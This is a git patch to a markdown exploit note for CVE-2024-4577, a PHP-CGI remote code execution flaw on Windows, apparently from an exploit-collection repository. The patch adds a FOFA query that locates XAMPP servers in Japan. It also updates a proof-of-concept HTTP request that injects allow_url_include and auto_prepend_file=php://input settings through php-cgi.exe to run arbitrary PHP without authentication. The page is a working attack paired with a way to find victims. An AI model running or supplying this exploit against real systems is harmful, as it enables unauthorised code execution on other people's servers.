From 3c95a6c50ee65fa207b30b63d0ccc5d16b7d4788 Mon Sep 17 00:00:00 2001 From: wy876 Date: Sat, 8 Jun 2024 11:13:27 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E6=94=B9payload?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...GI-Windows平台远程代码执行漏洞(CVE-2024-4577).md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577).md b/PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577).md index 1fd0220..7d44adf 100644 --- a/PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577).md +++ b/PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577).md @@ -2,13 +2,19 @@ PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性，当 PHP-CGI 运行在Window平台且使用了如下语系（简体中文936/繁体中文950/日文932等）时，攻击者可构造恶意请求绕过 CVE-2012-1823 补丁，从而可在无需登陆的情况下执行任意PHP代码。 +## fofa + +``` +app="XAMPP" && country="JP" +``` + ## poc ``` -POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 -Host: +POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 +Host: Content-Type: application/x-www-form-urlencoded - + ``` @@ -37,3 +43,4 @@ if __name__ == "__main__": test_cgi_vulnerability(url) ``` +![image-20240608111234326](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406081112391.png)